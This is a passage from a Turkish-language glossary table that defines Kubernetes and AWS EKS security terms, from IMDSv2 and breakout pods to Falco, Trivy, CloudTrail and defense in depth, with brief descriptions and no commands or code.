| IMDSv2 | Token tabanlı, SSRF’ye karşı koruma sağlayan güvenli IMDS sürümüdür. EKS node’larında zorunlu hale getirilmelidir. |
| Breakout Pod | Ayrıcalıklı izinlerle çalışan ve ana işletim sistemine (host’a) çıkış sağlayan kötü niyetli pod’dur. Genellikle privilege escalation amacıyla kullanılır. |
| Privileged Container | Root düzeyinde sistem kaynaklarına erişebilen kapsayıcıdır. Güvenlik açısından yüksek risk taşır. |
| Network Policy (Ağ Politikası) | Kubernetes pod’ları arasındaki trafiği kontrol eder. Mikro-segmentasyon ile Zero Trust mimarilerinde kullanılır. |
| Zero Trust | Hiçbir varlığın varsayılan olarak güvenilmediği güvenlik modeli. Her işlem için kimlik doğrulaması ve yetkilendirme gerektirir. |
| Falco | Çalışma zamanı davranış analizi yaparak Kubernetes ortamında anormal aktiviteleri tespit eden açık kaynak güvenlik aracıdır. |
| Gatekeeper (OPA Gatekeeper) | Open Policy Agent tabanlı bir politika denetim aracıdır. Kubernetes kaynaklarının güvenlik politikalarına uygunluğunu denetler. |
| Trivy | Konteyner imajlarını ve bağımlılıkları güvenlik açıkları için tarayan bir araçtır. |
| Pod Security Standards (PSS) | Kubernetes’in önerdiği güvenlik seviyeleri setidir: “Privileged”, “Baseline” ve “Restricted”. Pod davranışını sınırlar. |
| CI/CD (Continuous Integration / Continuous Deployment) | Uygulamaların sürekli entegrasyon ve dağıtım süreçleridir. Güvenlik açığı bulunan pipeline’lar EKS’e zararlı kod sokabilir. |
| Container Registry (Kapsayıcı Kayıt Defteri) | Docker veya OCI uyumlu imajların saklandığı depodur. ECR (Elastic Container Registry) AWS’nin çözümüdür. |
| Supply Chain Attack | Yazılım geliştirme zincirindeki bir bileşeni (ör. pipeline, imaj veya bağımlılık) ele geçirerek yapılan saldırıdır. |
| Runtime Security (Çalışma Zamanı Güvenliği) | Pod veya konteynerlerin çalıştığı anda davranışlarının izlenmesi ve kötüye kullanımların tespiti sürecidir. |
| Kube-Bench | CIS Kubernetes güvenlik standartlarına göre kümeyi otomatik denetleyen güvenlik aracıdır. |
| Container Insights | CloudWatch ile entegre çalışan EKS gözlemlenebilirlik servisi; metrik, log ve izleme sağlar. |
| CloudWatch | AWS’nin izleme ve alarm oluşturma servisidir. EKS metrikleri (CPU, ağ trafiği vb.) burada toplanır. |
| CloudTrail | AWS API çağrılarının izlenmesi ve denetim kayıtlarının tutulmasını sağlar. Olay müdahalesi için kritik öneme sahiptir. |
| GuardDuty EKS Protection | EKS ortamında anormal davranışları (ör. kripto madenciliği, yetkisiz API erişimi) tespit eden tehdit istihbaratı servisi. |
| Terraform | Altyapıyı kod olarak tanımlamaya yarayan araçtır (IaC). Güvenli veya güvensiz EKS yapılandırmalarını yönetmek için kullanılır. |
| KMS (Key Management Service) | Verileri şifrelemek için kullanılan anahtar yönetim servisidir. EKS, gizli bilgileri (secrets) KMS ile koruyabilir. |
| PodSecurityContext | Pod düzeyinde kullanıcı, grup, izin ve dosya sistemi ayarlarını tanımlar. Güvenli çalışma için özelleştirilmelidir. |
| SeccompProfile | Konteynerin çağırabileceği sistem çağrılarını (syscall) sınırlandıran güvenlik mekanizmasıdır. |
| RBAC RoleBinding | Rolün belirli kullanıcı veya servis hesaplarına bağlanmasını sağlar. Yanlış yapılandırma yetki suistimaline yol açabilir. |
| Helm Chart | Kubernetes uygulamalarını tanımlayan şablon yapısıdır. CI/CD’de kötü niyetli grafikler risk oluşturabilir. |
| Incident Response (Olay Müdahalesi) | Güvenlik ihlali veya saldırı tespit edildiğinde olayın izole edilmesi, analiz edilmesi ve iyileştirme süreçlerini içerir. |
| Network Segmentation (Ağ Bölümlendirme) | Farklı sistemlerin birbirinden izole edilmesiyle saldırı yayılımının sınırlandırılmasıdır. EKS’te ağ politikalarıyla sağlanır. |
| Crypto Mining (Kripto Madenciliği) | Ele geçirilen EKS kaynaklarının yasa dışı kripto para üretiminde kullanılması saldırı türüdür. |
| Data Exfiltration (Veri Sızdırma) | Kapsayıcı veya pod içinden hassas verilerin yetkisiz biçimde dış ortama aktarılmasıdır. |
| Policy as Code | Güvenlik politikalarının kod olarak tanımlanıp sürüm kontrolüyle yönetilmesidir. Gatekeeper ve OPA bu modelin örnekleridir. |
| Defense in Depth (Savunma Derinliği) | Birden fazla güvenlik katmanının birlikte uygulanarak saldırı yüzeyini azaltma stratejisidir. |